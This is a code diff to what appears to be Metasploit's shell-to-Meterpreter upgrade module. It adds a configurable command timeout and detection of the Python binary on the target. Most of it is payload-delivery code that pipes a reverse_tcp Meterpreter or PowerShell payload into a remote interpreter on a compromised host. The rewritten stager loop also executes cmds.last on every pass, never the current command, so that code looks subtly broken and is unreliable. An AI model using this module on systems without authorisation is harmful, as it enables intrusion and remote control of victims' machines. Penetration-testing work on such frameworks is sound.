@@ -45,11 +45,17 @@ def initialize(info = {})
4545 OptString . new ( 'BOURNE_PATH' ,
4646 [ false , 'Remote path to drop binary' ] ) ,
4747 OptString . new ( 'BOURNE_FILE' ,
48- [ false , 'Remote filename to use for dropped binary' ] )
48+ [ false , 'Remote filename to use for dropped binary' ] ) ,
49+ OptInt . new ( 'COMMAND_TIMEOUT' ,
50+ [ true , 'How long to wait (in seconds) for a result when executing a command on the remote machine.' , 15 ] ) ,
4951 ] )
5052 deregister_options ( 'PERSIST' , 'PSH_OLD_METHOD' , 'RUN_WOW64' )
5153 end
5254
55+ def command_timeout
56+ datastore [ 'COMMAND_TIMEOUT' ]
57+ end
58+
5359 # Run method for when run command is issued
5460 def run
5561 print_status ( "Upgrading session ID: #{ datastore [ 'SESSION' ] } " )
@@ -118,7 +124,7 @@ def run
118124 lplat = [ Msf ::Platform ::OSX ]
119125 larch = [ ARCH_X64 ]
120126 vprint_status ( 'Platform: OS X' )
121- elsif cmd_exec ( 'python -V 2>&1' ) =~ /Python (2|3) \. ( \d )/
127+ elsif remote_python_binary
122128 # Generic fallback for OSX, Solaris, Linux/ARM
123129 platform = 'python'
124130 payload_name = 'python/meterpreter/reverse_tcp'
@@ -176,7 +182,7 @@ def run
176182 cmd_exec ( "echo. | #{ cmd_psh_payload ( payload_data , psh_arch , psh_opts ) } " )
177183 else
178184 psh_opts [ :remove_comspec ] = true
179- cmd_exec ( cmd_psh_payload ( payload_data , psh_arch , psh_opts ) , nil , 15 , { 'Channelized' => false } )
185+ cmd_exec ( cmd_psh_payload ( payload_data , psh_arch , psh_opts ) , nil , command_timeout , { 'Channelized' => false } )
180186 end
181187 else
182188 print_error ( 'Powershell is not installed on the target.' ) if datastore [ 'WIN_TRANSFER' ] == 'POWERSHELL'
@@ -186,11 +192,11 @@ def run
186192 end
187193 when 'python'
188194 vprint_status ( 'Transfer method: Python' )
189- cmd_exec ( "echo \" #{ payload_data } \" | python" )
195+ cmd_exec ( "echo \" #{ payload_data } \" | #{ remote_python_binary } " , nil , command_timeout , { 'Channelized' => false } )
190196 when 'osx'
191197 vprint_status ( 'Transfer method: Python [OSX]' )
192198 payload_data = Msf ::Util ::EXE . to_python_reflection ( framework , ARCH_X64 , payload_data , { } )
193- cmd_exec ( "echo \" #{ payload_data } \" | python & disown" )
199+ cmd_exec ( "echo \" #{ payload_data } \" | #{ remote_python_binary } & disown" , nil , command_timeout , { 'Channelized' => false } )
194200 else
195201 vprint_status ( 'Transfer method: Bourne shell [fallback]' )
196202 exe = Msf ::Util ::EXE . to_executable ( framework , larch , lplat , payload_data )
@@ -204,6 +210,29 @@ def run
204210 return nil
205211 end
206212
213+ #
214+ # Get the Python binary from the remote machine, if any, by running
215+ # a series of channelized `cmd_exec` calls.
216+ # @return String/nil A string if a Python binary can be found, else nil.
217+ #
218+ def remote_python_binary
219+ return @remote_python_binary if defined? ( @remote_python_binary )
220+
221+ python_exists_regex = /Python (2|3)\. (\d )/
222+
223+ if cmd_exec ( 'python3 -V 2>&1' ) =~ python_exists_regex
224+ @remote_python_binary = 'python3'
225+ elsif cmd_exec ( 'python -V 2>&1' ) =~ python_exists_regex
226+ @remote_python_binary = 'python'
227+ elsif cmd_exec ( 'python2 -V 2>&1' ) =~ python_exists_regex
228+ @remote_python_binary = 'python2'
229+ else
230+ @remote_python_binary = nil
231+ end
232+
233+ @remote_python_binary
234+ end
235+
207236 def transmit_payload ( exe , platform )
208237 #
209238 # Generate the stager command array
@@ -249,22 +278,27 @@ def transmit_payload(exe, platform)
249278 #
250279 sent = 0
251280 aborted = false
252- cmds . each do |cmd |
253- ret = cmd_exec ( cmd )
254- if !ret
255- aborted = true
256- else
257- ret . strip!
258- aborted = true if !ret . empty? && ret !~ /The process tried to write to a nonexistent pipe./
259- end
260- if aborted
261- print_error ( 'Error: Unable to execute the following command: ' + cmd . inspect )
262- print_error ( 'Output: ' + ret . inspect ) if ret && !ret . empty?
263- break
281+ cmds . each . with_index do |cmd , i |
282+ # The last command should be fire-and-forget, otherwise issues occur where the original session waits
283+ # for an unlimited amount of time for the newly spawned session to exit.
284+ wait_for_cmd_result = i + 1 < cmds . length
285+ # Note that non-channelized cmd_exec calls currently return an empty string
286+ ret = cmd_exec ( cmds . last , nil , command_timeout , { 'Channelized' => wait_for_cmd_result } )
287+ if wait_for_cmd_result
288+ if !ret
289+ aborted = true
290+ else
291+ ret . strip!
292+ aborted = true if !ret . empty? && ret !~ /The process tried to write to a nonexistent pipe./
293+ end
294+ if aborted
295+ print_error ( 'Error: Unable to execute the following command: ' + cmd . inspect )
296+ print_error ( 'Output: ' + ret . inspect ) if ret && !ret . empty?
297+ break
298+ end
264299 end
265300
266301 sent += cmd . length
267-
268302 progress ( total_bytes , sent )
269303 end
270304 rescue ::Interrupt
0 commit comments